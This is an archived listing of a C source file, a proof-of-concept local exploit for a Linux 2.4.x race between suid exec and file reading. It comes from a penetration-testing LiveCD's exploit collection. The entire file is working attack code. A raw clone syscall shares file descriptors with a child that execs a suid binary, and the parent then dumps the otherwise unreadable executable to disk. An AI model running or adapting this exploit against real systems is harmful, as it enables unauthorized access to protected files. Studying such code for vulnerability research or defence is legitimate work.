home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / suiddmp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  152 lines

  1. /****************************************************************
  2. *                                *
  3. *    Linux 2.4.x suid exec/file read race proof of concept    *
  4. *    by IhaQueR                        *
  5. *                                *
  6. ****************************************************************/
  7.  
  8.  
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. #include <errno.h>
  14. #include <sched.h>
  15. #include <fcntl.h>
  16. #include <signal.h>
  17.  
  18. #include <sys/types.h>
  19. #include <sys/stat.h>
  20.  
  21. #include <asm/page.h>
  22.  
  23.  
  24.  
  25. void fatal(const char *msg)
  26. {
  27.     printf("\n");
  28.     if (!errno) {
  29.     fprintf(stderr, "FATAL: %s\n", msg);
  30.     } else {
  31.     perror(msg);
  32.     }
  33.  
  34.     printf("\n");
  35.     fflush(stdout);
  36.     fflush(stderr);
  37.     exit(129);
  38. }
  39.  
  40.  
  41. int child(char **av)
  42. {
  43.     int fd;
  44.  
  45.     printf("\nChild running pid %d", getpid());
  46.     fflush(stdout);
  47.     usleep(100000);
  48.  
  49.     execvp(av[0], av + 1);
  50.  
  51.     printf("\nFatal child exit\n");
  52.     fflush(stdout);
  53.     exit(0);
  54. }
  55.  
  56.  
  57. void exitus(int v)
  58. {
  59.     printf("\nParent terminating (child exited)\n\n");
  60.     fflush(stdout);
  61.     exit(129);
  62. }
  63.  
  64. void usage(const char *name)
  65. {
  66.     printf("\nSuid exec dumper by IhaQueR\n");
  67.     printf("\nUSAGE:\t%s executable [args...]", name);
  68.     printf("\n\n");
  69.     fflush(stdout);
  70.     exit(0);
  71. }
  72.  
  73.  
  74. int main(int ac, char **av)
  75. {
  76.     int p = 0, fd = 0;
  77.     struct stat st, st2;
  78.  
  79.     if (ac < 2)
  80.     usage(av[0]);
  81.  
  82.     av[0] = (char *) strdup(av[1]);
  83.     av[1] = (char *) basename(av[1]);
  84.  
  85.     p = stat(av[0], &st2);
  86.     if (p)
  87.     fatal("stat");
  88.  
  89.     signal(SIGCHLD, &exitus);
  90.     printf("\nParent running pid %d", getpid());
  91.     fflush(stdout);
  92.  
  93.     __asm__ (
  94.              "pusha              \n"
  95.              "movl $0x411, %%ebx \n"
  96.              "movl %%esp, %%ecx  \n"
  97.              "movl $120, %%eax   \n"
  98.              "int  $0x80         \n"
  99.              "movl %%eax, %0     \n"
  100.              "popa"
  101.              : : "m"(p)
  102.             );
  103.  
  104.     if (p < 0)
  105.     fatal("clone");
  106.  
  107.     if (!p)
  108.     child(av);
  109.  
  110.     printf("\nParent stat loop");
  111.     fflush(stdout);
  112.     while (1) {
  113.     p = fstat(3, &st);
  114.     if (!p) {
  115.         if (st.st_ino != st2.st_ino)
  116.         fatal("opened wrong file!");
  117.  
  118.         p = lseek(3, 0, SEEK_SET);
  119.         if (p == (off_t) - 1)
  120.         fatal("lseek");
  121.         fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
  122.               0755);
  123.         if (fd < 0)
  124.         fatal("open");
  125.         while (1) {
  126.         char buf[8 * PAGE_SIZE];
  127.  
  128.         p = read(3, buf, sizeof(buf));
  129.         if (p <= 0)
  130.             break;
  131.         write(fd, buf, p);
  132.         }
  133.         printf("\nParent success stating:");
  134.         fflush(stdout);
  135.         printf("\nuid %d gid %d mode %.5o inode %u size %u",
  136.            st.st_uid, st.st_gid, st.st_mode, st.st_ino,
  137.            st.st_size);
  138.         fflush(stdout);
  139.         printf("\n");
  140.         fflush(stdout);
  141.         exit(1);
  142.     }
  143.     }
  144.  
  145.     printf("\n\n");
  146.     fflush(stdout);
  147.  
  148.     return 0;
  149. }
  150.  
  151.  
  152.